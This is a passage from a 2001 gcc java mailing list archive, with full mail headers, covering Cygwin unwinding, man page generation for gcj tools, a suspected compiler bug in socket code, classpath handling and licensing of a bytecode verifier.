update with gcj on cygwin In-Reply-To: <87k81m9d72.fsf@creche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 6 Jul 2001, Tom Tromey wrote: > >>>>> "Julian" == Julian Hall writes: > > Julian> I have now tracked the problem down to occurring during the > Julian> stack unwinding process, which unfortunately I understand very > Julian> little about. > > I thought that the new unwind code was known not to work on Cygwin. > Am I wrong? You're correct. Dwarf2 based unwinding code does not work for any of the x86 windows ports (Cygwin, Mingw, ...). Until the proper changes are made to the startup code for Cygwin/Mingw/etc in addition to some other changes in the x86 windows target specific code, sjlj is it. Regards, Mumit From java-return-6383-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 06 19:07:02 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 23715 invoked by alias); 6 Jul 2001 19:06:59 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 23623 invoked from network); 6 Jul 2001 19:06:53 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 6 Jul 2001 19:06:53 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA27148; Fri, 6 Jul 2001 13:06:46 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id NAA20029; Fri, 6 Jul 2001 13:28:17 -0600 To: Matthias Klose Cc: gcc-patches@gcc.gnu.org, java@gcc.gnu.org, "Joseph S. Myers" , Stephane Carrez , Alexandre Petit-Bianco Subject: Re: [3.0] RFC: generate java man pages from texi sources References: <15168.58340.525902.202263@gargle.gargle.HOWL> X-Zippy: Yow! Am I having fun yet? X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 06 Jul 2001 13:28:17 -0600 In-Reply-To: Matthias Klose's message of "Mon, 2 Jul 2001 23:13:08 +0200" Message-ID: <87u20psvqm.fsf@creche.redhat.com> Lines: 51 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Matthias" == Matthias Klose writes: Matthias> This patch adds support for generation and installation of Matthias> man pages for the java tools (gcj, gcjh, jv-scan, Matthias> jcf-convert, gij). I looked at this patch. Matthias> - texi2pod.pl is merged from binutils and extended to Matthias> support the '-' in program names. I know nothing about this program and can't comment on this part of the patch. Matthias> - unsure about how to handle the installation of gij.1. It's Matthias> documented in gcc/java/gcj.1, but built in Matthias> libjava. Unfortunately not for all targets that gcj is built Matthias> for. Always installing it is fine. I think we could build gij for any target. It will be useless in some situations, but that isn't important. Matthias> * gcj.texi: Markup for man page generation. Document missing Matthias> options printed by --help. Matthias> * Make-lang.in (generated-java-manpages, $(srcdir)/java/*.1): Matthias> New targets. Matthias> (java.install-man, java.uninstall, java-maintainer-clean) Updated. In general this looks great. I have some nits to pick, but nothing major. Matthias> +gcj [@option{-I}@var{dir}@dots{}] [@option{-d}@var{dir}@dots{}] Matthias> + [@option{--classpath}=@var{path}] [@option{--CLASSPATH}=@var{path}] Matthias> + [@option{-f}@var{option}@dots{}] [@option{--encoding}@var{name}] Matthias> + [@option{--main=}@var{classname}] [@option{-C}] Matthias> + [@option{-W}@var{warn}@dots{}] [@option{-D}@var{name}[=@var{value}]@dots{}] Matthias> + @var{sourcefile}@dots{} `--encoding' needs an `='. For `--main', the `=' should be outside the braces. Too bad we can't auto-generate the synopsis from the existing option text. That would be easier to maintain. I think this patch should definitely go in. Technically I think I can't approve patches to gcj.texi. However, I think I ought to be allowed to, since I wrote most of it. Alex, is that ok with you? Tom From java-return-6384-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 06 19:13:47 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 27937 invoked by alias); 6 Jul 2001 19:13:47 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 27901 invoked from network); 6 Jul 2001 19:13:46 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 6 Jul 2001 19:13:46 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id MAA00814; Fri, 6 Jul 2001 12:13:33 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id MAA15217; Fri, 6 Jul 2001 12:13:33 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15174.3548.894075.348362@fencer.cygnus.com> Date: Fri, 6 Jul 2001 12:13:32 -0700 (PDT) To: tromey@redhat.com Cc: Matthias Klose , gcc-patches@gcc.gnu.org, java@gcc.gnu.org, "Joseph S. Myers" , Stephane Carrez Subject: Re: [3.0] RFC: generate java man pages from texi sources In-Reply-To: <87u20psvqm.fsf@creche.redhat.com> References: <15168.58340.525902.202263@gargle.gargle.HOWL> <87u20psvqm.fsf@creche.redhat.com> X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: Are we THERE yet? Tom Tromey writes: > However, I think I ought to be allowed to, since I wrote most of it. Thank you for the review, you have a better knowledge of the matter than I do. > Alex, is that ok with you? Absolutely. ./A From java-return-6385-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 06 20:44:12 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 12589 invoked by alias); 6 Jul 2001 20:44:09 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 12567 invoked from network); 6 Jul 2001 20:44:08 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 6 Jul 2001 20:44:08 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15IcSJ-0004jD-00 for ; Fri, 06 Jul 2001 21:44:03 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Fri, 06 Jul 2001 21:45:52 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Fri, 06 Jul 2001 21:44:21 +0100 From: "Nic Ferrier" To: java@gcc.gnu.org Subject: wierd compile bug Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline I think I've found an interesting compile bug with the C++ code and I need a bit of help: 1. identifying whether it *might* be caused by compilation switches 2. working out who to send it to The bug is in the close() member function of my patched natPlainSocketImpl.cc Here it is: //close (shutdown) the socket void java::net::PlainSocketImpl::close () { int res = ::close (fnum); if(res==-1) printf("\nclosing %d got errno: %d\n", fnum, errno); //reset the socket fd fnum = -1; if (res == -1 && !(errno == ENOTCONN)) throw new java::io::IOException( JvNewStringUTF (strerror (errno))); } The bug is really strange, the file handle fnum is being set to -1 before ::close() is called. I have checked that no other code is doing it (by commenting out the assignment to fnum in this m-f) and I'm absolutely sure that this must be what is happening. I can't see why g++ might do that, it must be able to tell that the value is being used in the call to ::close(). So, does anyone think this might be a compile switch getting over enthusiastic? Or should I report it as a fault? If so to whom? Nic From java-return-6386-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 06 21:00:07 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 19249 invoked by alias); 6 Jul 2001 21:00:06 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 19228 invoked from network); 6 Jul 2001 21:00:05 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 6 Jul 2001 21:00:05 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id OAA11445; Fri, 6 Jul 2001 14:00:03 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id OAA15409; Fri, 6 Jul 2001 14:00:02 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15174.9934.275756.70095@fencer.cygnus.com> Date: Fri, 6 Jul 2001 13:59:58 -0700 (PDT) To: "Nic Ferrier" Cc: java@gcc.gnu.org Subject: Re: wierd compile bug In-Reply-To: References: X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: I had pancake makeup for brunch! Nic Ferrier writes: > The bug is really strange, the file handle fnum is being set to -1 > before ::close() is called. Try to disassemble a bit of what's before closed is called. > Or should I report it as a fault? If so to whom? Report it to gcc-bugs if you think there's a bug. You can file a PR too. It definitively looks like it should end up in C++ land. ./A From java-return-6387-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 06 21:39:25 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 31808 invoked by alias); 6 Jul 2001 21:39:25 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 31734 invoked from network); 6 Jul 2001 21:39:23 -0000 Received: from unknown (HELO debian-home) (12.44.140.126) by sourceware.cygnus.com with SMTP; 6 Jul 2001 21:39:23 -0000 Received: from gbsadler by debian-home with local (Exim 3.22 #1 (Debian)) id 15IdJq-0001iv-00; Fri, 06 Jul 2001 16:39:22 -0500 Date: Fri, 6 Jul 2001 16:39:22 -0500 To: gcc@gcc.gnu.org, java@gcc.gnu.org Subject: CVS mainline, libjava cc1: Unrecognized option `-ffilelist-file' Message-ID: <20010706163922.A30531@debian-home.lcisp.com> Mail-Followup-To: gcc@gcc.gnu.org, java@gcc.gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.18i From: Gordon Sadler Today I received many more failures than 'normal' for libjava. After looking at the log files I noticed the above happens over and over causing tests to fail. Perhaps someone has a typo? -- Gordon Sadler From java-return-6388-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 06 21:44:10 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 2343 invoked by alias); 6 Jul 2001 21:44:08 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 2264 invoked from network); 6 Jul 2001 21:44:03 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 6 Jul 2001 21:44:03 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA17319; Fri, 6 Jul 2001 15:43:53 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id QAA21125; Fri, 6 Jul 2001 16:05:25 -0600 To: apbianco@cygnus.com Cc: Matthias Klose , gcc-patches@gcc.gnu.org, java@gcc.gnu.org, "Joseph S. Myers" , Stephane Carrez Subject: Re: [3.0] RFC: generate java man pages from texi sources References: <15168.58340.525902.202263@gargle.gargle.HOWL> <87u20psvqm.fsf@creche.redhat.com> <15174.3548.894075.348362@fencer.cygnus.com> X-Zippy: I want DUSTIN HOFFMAN!! .. I want LIBERACE!! YOW!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 06 Jul 2001 16:05:23 -0600 In-Reply-To: Alexandre Petit-Bianco's message of "Fri, 6 Jul 2001 12:13:32 -0700 (PDT)" Message-ID: <874rsp3e8s.fsf@creche.redhat.com> Lines: 11 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Alex" == Alexandre Petit-Bianco writes: >> Alex, is that ok with you? Alex> Absolutely. In that case, Matthias, please check in the gcj.texi parts of the patch. I think they can go in right away. The other parts will have to wait until someone else approves them. Tom From java-return-6389-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 06 21:50:00 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 8994 invoked by alias); 6 Jul 2001 21:50:00 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 8873 invoked from network); 6 Jul 2001 21:49:56 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 6 Jul 2001 21:49:56 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA18078; Fri, 6 Jul 2001 15:49:52 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id QAA26172; Fri, 6 Jul 2001 16:11:27 -0600 To: Gordon Sadler Cc: gcc@gcc.gnu.org, java@gcc.gnu.org Subject: Re: CVS mainline, libjava cc1: Unrecognized option `-ffilelist-file' References: <20010706163922.A30531@debian-home.lcisp.com> X-Zippy: ..Am I in a SOAP OPERA?? X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 06 Jul 2001 16:11:25 -0600 In-Reply-To: Gordon Sadler's message of "Fri, 6 Jul 2001 16:39:22 -0500" Message-ID: <871ynt3dyq.fsf@creche.redhat.com> Lines: 18 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Gordon" == Gordon Sadler writes: Gordon> Today I received many more failures than 'normal' for Gordon> libjava. After looking at the log files I noticed the above Gordon> happens over and over causing tests to fail. Gordon> Perhaps someone has a typo? I think I broke this yesterday. I don't understand how, though, because I rebuilt libjava with the new compiler. I'm doing another rebuild right now to see. If it was my patch I will revert it an find a new way to implement the same thing. Sorry (maybe), Tom From java-return-6390-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 06 23:19:22 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 7164 invoked by alias); 6 Jul 2001 23:19:22 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 7144 invoked from network); 6 Jul 2001 23:19:21 -0000 Received: from unknown (HELO relativity.yi.org) (64.129.197.253) by sourceware.cygnus.com with SMTP; 6 Jul 2001 23:19:21 -0000 Received: from relativity.yi.org (IDENT:burton@2Cust75.VR1.PAO1.broadband.uu.net [63.13.224.75]) by relativity.yi.org (8.9.3/8.8.7) with ESMTP id DAA17827 for ; Sat, 7 Jul 2001 03:19:20 -0700 To: java@gcc.gnu.org Subject: JDK 1.4 NIO candidate? From: burtonator Date: 06 Jul 2001 01:45:06 -0700 Message-ID: User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Lines: 22 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 http://www.cs.berkeley.edu/~mdw/proj/java-nbio/ - -- Kevin A. Burton ( burton@apache.org, burton@openprivacy.org, burtonator@acm.org ) Cell: 408-910-6145 URL: http://relativity.yi.org ICQ: 73488596 Linux is both Open Source and Free Software, Java is neither! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (GNU/Linux) Comment: Get my public key at: http://relativity.yi.org/pgpkey.txt iD8DBQE7RXqSAwM6xb2dfE0RAmjaAKCeO8hjZe0JsDOloD9/QHTYT0pj7wCfakET 19WcCTeko8AUMUjOUy6yQgE= =I7Qs -----END PGP SIGNATURE----- From java-return-6391-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 07 02:15:25 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 19009 invoked by alias); 7 Jul 2001 02:15:23 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 18989 invoked from network); 7 Jul 2001 02:15:22 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 7 Jul 2001 02:15:22 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15Ihcu-0004le-00 for ; Sat, 07 Jul 2001 03:15:20 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Sat, 07 Jul 2001 03:17:09 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Sat, 07 Jul 2001 03:09:12 +0100 From: "Nic Ferrier" To: java@gcc.gnu.org Subject: date formatting Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline I think Tom mentioned (a day or two ago) some problems with the java.text date formating implementation. It certainly is broken in my GCC 3.0 distrib. Paperclips needs date formatting to do conditional-gets so I need it fixed in GCJ. I'm happy to do it, does anybody have a view of what is broken? Is it fundamentally screwed or just a little bit wonky? Nic From java-return-6392-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 07 04:07:54 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 2765 invoked by alias); 7 Jul 2001 04:07:53 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 2689 invoked from network); 7 Jul 2001 04:07:49 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 7 Jul 2001 04:07:49 -0000 Received: from locutus (locutus.cygnus.com [205.180.230.91]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with SMTP id VAA11511 for ; Fri, 6 Jul 2001 21:07:47 -0700 (PDT) Message-ID: <000101c1069a$a134b200$5be6b4cd@cygnus.com> From: "Anthony Green" To: "Java@Gcc. Gnu. Org" Subject: classpaths and jar files Date: Fri, 6 Jul 2001 15:32:10 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Jar files are used to hold many different kinds of resources which programs may read at runtime (property files, or other data read using getResource*). It would be convenient if the compiler would arrange for the fully linked executable's built-in classpath to include any installed jar files used at time of compilation. The alternative is for users to set their classpath at progam runtime, or to force it into the link with -Djava.class.path=XXX. I don't know how you would go about implementing this off hand.... AG From java-return-6393-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 07 05:53:52 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 29396 invoked by alias); 7 Jul 2001 05:53:49 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 29373 invoked from network); 7 Jul 2001 05:53:48 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 7 Jul 2001 05:53:48 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f675u1m03047; Fri, 6 Jul 2001 22:56:01 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: "Anthony Green" Cc: "Java@Gcc. Gnu. Org" Subject: Re: classpaths and jar files References: <000101c1069a$a134b200$5be6b4cd@cygnus.com> From: Per Bothner Date: 06 Jul 2001 22:56:01 -0700 In-Reply-To: <000101c1069a$a134b200$5be6b4cd@cygnus.com> Message-ID: Lines: 17 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii "Anthony Green" writes: > It would be convenient if the compiler would arrange for the fully linked > executable's built-in classpath to include any installed jar files used at > time of compilation. I don't think that is the right model. I would rather have any resource files etc from a .jar be compiled into the executable (or shared library). Our model is that gcj uses .so files where jdk uses .jar files. (At least at run time - we do use .jars at compile time.) Thus a resource file should be compiled to an initialized byte array in a read-only data segment. -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6394-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 07 12:01:36 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 29053 invoked by alias); 7 Jul 2001 12:01:34 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 29031 invoked from network); 7 Jul 2001 12:01:32 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 7 Jul 2001 12:01:32 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15IqmA-0004rt-00 for ; Sat, 07 Jul 2001 13:01:30 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Sat, 07 Jul 2001 13:03:19 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Sat, 07 Jul 2001 12:58:32 +0100 From: "Nic Ferrier" To: java@gcc.gnu.org, green@redhat.com Subject: Re: classpaths and jar files Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline >>> "Anthony Green" 06-Jul-01 11:32:10 PM >>> The alternative is for users to set their classpath at progam runtime, or to force it into the link with -Djava.class.path=XXX. I don't know how you would go about implementing this off hand.... As an aside I'm going to add a -classpath switch and extension library support (with some sort of config switch) to GIJ. Nic From java-return-6395-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 07 13:20:53 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 22193 invoked by alias); 7 Jul 2001 13:20:52 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 22173 invoked from network); 7 Jul 2001 13:20:51 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 7 Jul 2001 13:20:51 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15Is0w-0004sz-00 for ; Sat, 07 Jul 2001 14:20:50 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Sat, 07 Jul 2001 14:22:39 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Sat, 07 Jul 2001 14:17:13 +0100 From: "Nic Ferrier" To: java@gcc.gnu.org Subject: gij.c Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Any reason why gij doesn't use the getopt library? Use of getopt for all executables is useful because there are plans to integrate bash with getopt enabled propgrams to allow argument name completion. If no one has any objections I will getopt enable gij. Nic From java-return-6396-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 07 13:31:29 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 24681 invoked by alias); 7 Jul 2001 13:31:27 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 24661 invoked from network); 7 Jul 2001 13:31:26 -0000 Received: from unknown (HELO brainy1.ie-eg.com) (194.79.96.40) by sourceware.cygnus.com with SMTP; 7 Jul 2001 13:31:26 -0000 Received: from momara ([213.154.48.18]) by brainy1.ie-eg.com (8.9.3/8.9.3) with SMTP id QAA28608 for ; Sat, 7 Jul 2001 16:34:20 +0300 (EET DST) Message-ID: <00ed01c106e9$1d8226a0$3201000a@ellipsisdigital.com> From: "Mohammad O'mara" To: Subject: .exe Date: Sat, 7 Jul 2001 16:31:22 +0300 Organization: Information Technology Institute MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00EA_01C10702.426F1630" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 This is a multi-part message in MIME format. ------=_NextPart_000_00EA_01C10702.426F1630 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable how can i make an .exe file from .class or .java files using gcj ? .. = i.e. compine all the classes of a certain application in one .exe file = to run on linux and pentiumIII ..=20 also , is the gcj version that comes with Linux redhat 7.1 a native = compiler or cross compiler ? .. and if it's a cross compiler , what are = the switches that i can write to have .exe for all supported platforms ? thanks ------=_NextPart_000_00EA_01C10702.426F1630 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
how can i make an .exe file from .class = or .java=20 files using gcj ? .. i.e. compine all the classes of a certain = application in=20 one .exe file to run on linux and pentiumIII ..
also , is the gcj version that comes = with Linux=20 redhat 7.1 a native compiler or cross compiler ? .. and if it's a cross = compiler=20 , what are the switches that i can write to have .exe for all supported=20 platforms ?
thanks
------=_NextPart_000_00EA_01C10702.426F1630-- From java-return-6397-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 07 18:04:05 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28350 invoked by alias); 7 Jul 2001 18:04:04 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28313 invoked from network); 7 Jul 2001 18:04:03 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 7 Jul 2001 18:04:03 -0000 Received: from locutus (locutus.cygnus.com [205.180.230.91]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with SMTP id LAA12606; Sat, 7 Jul 2001 11:03:59 -0700 (PDT) Message-ID: <00ec01c1070f$715feb60$5be6b4cd@cygnus.com> From: "Anthony Green" To: "Enver Haase" , "Java@Gcc. Gnu. Org" References: <01070712143500.11521@haneman> Subject: Re: Java Bytecode verifier Date: Sat, 7 Jul 2001 11:05:43 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Enver wrote in gcc@gcc.gnu.org: > Is there still a bytecode verifier needed for gcj? Yes! > I'm currently writing one (GPL'd) based on BCEL (LGPL'd). > > I'll need another two months or so to clean it up and finish > it (the API is pretty much finished, so you may still want to > have a look). > > It may be not the thing you're looking for (it's all ritten in > Java, for instance), but anyway.. > > http://bcel.sourceforge.net > http://www.inf.fu-berlin.de/~ehaase Something like this would be very useful. The license is the only tricky bit. All GCC runtime code (including gcj runtime) needs to be licensed under the GPL with an exception that says.... As a special exception, if you link this library with other files to produce an executable, this library does not by itself cause the resulting executable to be covered by the GNU General Public License. This exception does not however invalidate any other reasons why the executable file might be covered by the GNU General Public License. Would you be willing to modify your license? Would you be willing to assign copyright to the FSF? I suppose we'll have the same difficulty with BCEL, which appears to be dual licensed (LGPL + Mozilla). Or perhaps we could use Per's gnu.bytecode package instead... http://sources.redhat.com/kawa/api/gnu/bytecode/package-summary.html AG From java-return-6398-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 07 18:13:13 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 31144 invoked by alias); 7 Jul 2001 18:13:12 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 31123 invoked from network); 7 Jul 2001 18:13:12 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 7 Jul 2001 18:13:12 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com 